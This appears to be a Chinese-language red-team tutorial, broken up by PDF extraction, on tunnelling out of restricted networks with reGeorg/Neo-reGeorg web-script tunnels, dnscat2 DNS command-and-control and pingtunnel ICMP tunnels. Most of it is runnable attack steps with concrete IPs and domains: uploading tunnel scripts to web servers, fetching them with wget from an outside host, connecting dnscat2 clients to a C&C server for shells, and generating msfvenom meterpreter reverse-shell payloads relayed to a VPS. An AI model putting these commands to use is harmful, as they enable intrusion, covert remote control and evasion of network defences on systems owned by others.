HTTP代理
reGeorg
https://github.com/NoneNotNull/reGeorg
reGeorg
是
reDuh
的升级版,主要功能是把内网服务器端口的数据通过
HTTP/HTTPS
隧道转发到本机,实现基于
HTTP
协议的通信。
reGeorg
支持
ASPX
,
ASHX
,
PHP
,
JSP
等
WEB
脚本,并特别提供了一个
tomcat5
版
本。
usage: reGeorgSocksProxy.py [-h] [-l] [-p] [-r] -u [-v]
Socks server for reGeorg HTTP(s) tunneller
optional arguments:
-h, --help 显示此帮助信息并退出
-l , --listen-on 默认监听地址
-p , --listen-port
默认监听端口
-r , --read-buff
本地读取缓冲区,每个
POST
发送的最大数据
-u , --url 包含隧道脚本的url
-v , --verbose 详细输出(INFO|DEBUG)
用法:
python2 reGeorgSocksProxy.py -p 8080 -u
http://172.26.2.43:7001/bea_wls_internal/tunnel.t5.jsp
Neo-reGeorg
重构
reGeorg
的项目,目的是:
提高
tunnel
连接安全性
提高可用性,避免特征检测
提高传输内容保密性
应对更多的网络环境场景
https://github.com/L-codes/Neo-reGeorg
python3 neoreg.py -h
可选参数
:
-h, - -help
显示此帮助消息并退出
-u URI, --url URI
包含隧道脚本的
URL
-k KEY, --key KEY
指定连接密钥
-l IP, --listen-on IP
默认的监听地址。(默认:
127.0.0.1
)
-p PORT, --listen-port PORT
默认的监听端口。(默认:
1080
)
-s, --skip
跳过可用性测试
-H LINE, --header LINE
将自定义
header LINE
传递给服务器
-c LINE, --cookie LINE
自定义初始化
Cookie
-x LINE, --proxy LINE proto://host[:port]
在给定端口上 使用代理
--local-dns
本地读取缓冲区,每个
POST
发送的最大数据量(默认值:2048
最大:
2600
)
--read-buff Bytes
本地读取缓冲区,每个
POST
发送的最大数据量(默认值:2048
最大:
2600
)
--read-interval MS
读取数据间隔,以毫秒为单位。(默认值:100
)
--max-threads N
代理最大线程数(默认值:
1000
)
-v
提高详细程度(使用
-vv
或更多以获得更好的效果)
1.
设置密码生成
tunnel.(aspx|ashx|jsp|jspx|php)
并上传到
WEB
服务器
python3 neoreg.py generate -k passwd
[+] Mkdir a directory: neoreg_servers
[+] Create neoreg server files:
=> neoreg_servers/tunnel.ashx
=> neoreg_servers/tunnel.aspx
=> neoreg_servers/tunnel.jsp
=> neoreg_servers/tunnel.jspx
=> neoreg_servers/tunnel.php
2.
下载
tunnel
脚本到目标
WEB
服务
wget http://47.101.214.85:8000/tunnel.jsp
3.
使用
neoreg.py
连接
WEB
服务器,在本地建立
socks
代理,代理默认端口
1080
python3 neoreg.py -k passwd -u
http://218.76.8.99:38080/sh/tunnel.jsp
Pystinger
DNS隧道
Dnscat2
Dnscat2简介
dnscat2
是一个
DNS
隧道工具,通过
DNS
协议创建加密的命令和控制通道,它的一大
特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成。包
括:文件上传、下载、反弹
Shell
。
直连模式:客户端直接向指定
IP
的恶意
DNS
服务器发起
DNS
解析请求。
中继模式:像我们平时上网一样,
DNS
解析先经过互联网的迭代解析,最后指向我们
的恶意
DNS
服务器。相比直连,速度较慢,但是更安全。
名词解释
dnscat2
支持的
type
类型
Type
:
DNS
解析的类型,常见的有:
A
、
CNAME
、
MX
、
TXT
。
A:
域名的
IPv4
地址。
AAAA:
域名的
IPv6
地址。
CNAME:
域名的别名。
可以理解为域名的重定向吧,主要方便
IP
地址的变更。
比如
cdn
厂商会给客户企业分配固定的
cname
而不是
IP
,如果分配
IP
,
cdn
厂商做
IP调整就受限哪些客户企业的哪些域名绑定了这个IP
,需要沟通服务迁移。
还有在企业多个域名(
www/mail/ftp
或其他业务分类的域名)对应一个入口
IP
地址时候,也可以给多个域名做cname
,便于后期的
IP
调整。
总之,别名是一种松耦合的处理办法。
MX: smtp
邮箱域名的
IP
地址。给
client
端指明某个域名的邮件服务器地址。
PTR:
根据
IP
反向查找域名。
SRV:
服务的
IP
地址记录,包含
ip
、
port
、
priority
、
weight
。
TXT
: 名的文本记录。可以记录联系方式、服务版本信息、反垃圾邮件等。
NS: dns zone
。指定哪个域名服务器可以解析该域名的子域名。
SOA:
授权机构记录,记录
ns
中哪个是主服务器。
默认是
TXT
、
CNAME
、
MX
随机混合使用
A
TXT
CNAME
MX
AAAA
Dnscat2安装
服务端安装
apt install ruby ruby-dev git make g++ ruby-bundler
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install
客户端编译
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
make
编译之后会在此目录下生成一个
dnscat
可执行二进制文件。
Linux systemd-resolve
占用
53
端口的解决方法
- ITren
https://www.itren.org/
319.html
Dnscat2直连模式
启动服务端
ruby ./dnscat2.rb
启动客户端
./dnscat --dns server=139.155.49.43,port=53 -- secret=0f69f5a5e89a18b0c47fe12ec6f1896aW
服务端接收到会话
获取
shell
:
windows
session -i 1
shell
session -i 2
直连模式流量特征
tcpdump udp dst port 53
Dnscat2中继模式
准备
1.
一台公网
C&C
服务器
2.
一台内网靶机
3.
一个可配置解析的域名
配置
DNS
域名解析:
1.
创建
A
记录,将自己的域名解析服务器(
ns.heetian.cn
)指向云服务器
(
139.155.49.43
)
2.
创建
NS
记录,将子域名
dnsch.hetian.cn
的
DNS
解析交给
ns.heetian.cn
启动服务端
启动客户端
ruby ./dnscat2.rb dnsch.heetian.cn --secret=mingy
./dnscat --secret=mingy dnsch.heetian.cn
服务端接收会话
中继模式流量特征
tcpdump udp dst port 53
ICMP 隧道
Pingtunnel
https://github.com/esrrhs/pingtunnel
ICMP
隧道作用
通过某种信道获取了内网主机的
shell
,但是当前信道不适合做远控的通信信道,
tcp
和
udp
等传输层协议不能出网,
dns
、
http
等应用层协议也不能出网,只有
icmp
协议可以出网。
目的:上线仅
icmp
协议出网的内网主机
参数详解
# ./pingtunnel -h
通过伪造
ping
,把
tcp/udp/sock5
流量通过远程服务器转发到目的服务器上。
用于突破某些运营商封锁TCP/UDP
流量。
Usage:
// server
pingtunnel -type server
// client, Forward udp
pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t
SERVER_IP:4455
// client, Forward tcp
pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t
SERVER_IP:4455 -tcp 1
// client, Forward sock5, implicitly open tcp, so no
target server is needed
pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -
sock5 1
-type
服务器或者客户端
服务器参数
server param:
-key
设置的密码,默认
0
-nolog
不写日志文件,只打印标准输出,默认
0
-noprint
不打印屏幕输出,默认
0
-loglevel
日志文件等级,默认
info
-maxconn
最大连接数,默认
0
,不受限制
-maxprt server
最大处理线程数,默认
100
-maxprb server
最大处理线程
buffer
数,默认
1000
-conntt server
发起连接到目标地址的超时时间,默认
1000ms
客户端参数
client param:
-l
本地的地址,发到这个端口的流量将转发到服务器
-s
服务器的地址,流量将通过隧道转发到这个服务器
-t
远端服务器转发的目的地址,流量将转发到这个地址
-timeout
本地记录连接超时的时间,单位是秒,默认
60s
-key
设置的密码,默认
0
-tcp
设置是否转发
tcp
,默认
0
-tcp_bs tcp
的发送接收缓冲区大小,默认
1MB
-tcp_mw tcp
的最大窗口,默认
20000
-tcp_rst tcp
的超时发送时间,默认
400ms
-tcp_gz
当数据包超过这个大小,
tcp
将压缩数据,
0
表示不压缩,默认
0
ICMP隧道转发TCP上线MSF
1. VPS
启动
ICMP
隧道服务端
139.155.49.43
,
icmp
服务端和
msf
服务都在此
VPS
上
2.
靶机启动
ICMP
隧道客户端
icmp
客户端监听
127.0.0.1:9999
,通过连接到
139.155.49.43
的
icmp
隧道,将
127.0.0.1:9999
收到的
tcp
数据包转发到
139.155.49.43:7777
3.
MSF
生成反弹
shell
的
payload
上传到靶机
-tcp_stat
打印
tcp
的监控,默认
0
-nolog
不写日志文件,只打印标准输出,默认
0
-noprint
不打印屏幕输出,默认
0
-loglevel
日志文件等级,默认
info
-sock5
开启
sock5
转发,默认
0
-profile
在指定端口开启性能检测,默认
0
不开启
-s5filter sock5
模式设置转发过滤,默认全转发,设置
CN
代表
CN
地区的直
连不转发
-s5ftfile sock5
模式转发过滤的数据文件,默认读取当前目录的
GeoLite2-Country.mmdb
./pingtunnel -type server
1
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 139.155.49.43
-t 139.155.49.43:7777 -tcp 1 -noprint 1 -nolog 1
1
msfvenom -p windows/x64/meterpreter/reverse_tcp
lhost=127.0.0.1 lport=9999 -f exe > 9999.exe
1
4.
执行
payload
反弹
shell
到
MSF
ICMP隧道转发socks上线MSF
1. VPS
启动
ICMP
隧道服务端
139.155.49.43
,
icmp
服务端和
msf
服务都在此
VPS
上
2.
靶机启动
ICMP
隧道客户端
icmp
隧道客户端监听
127.0.0.1:9999
启动
socks5
服务,通过连接到
139.155.49.43
的
icmp
隧道,由
icmpserver
转发
socks5
代理请求到目的地址
139.155.49.43:8899
3. MSF
生成反弹
shell
的
payload
生成支持
socks5
代理的反向
payload
./pingtunnel -type server
pingtunnel.exe -type client -l 127.0.0.1:9999 -s 139.155.49.43
-sock5 1 -noprint 1 -nolog 1
4.
执行
payload
反弹
shell
到
MSF
msfvenom -p windows/x64/meterpreter/reverse_tcp
lhost=139.155.49.43 lport=8899 HttpProxyType=SOCKS
HttpProxyHost=127.0.0.1 HttpProxyPort=9999 -f exe > 8899.exe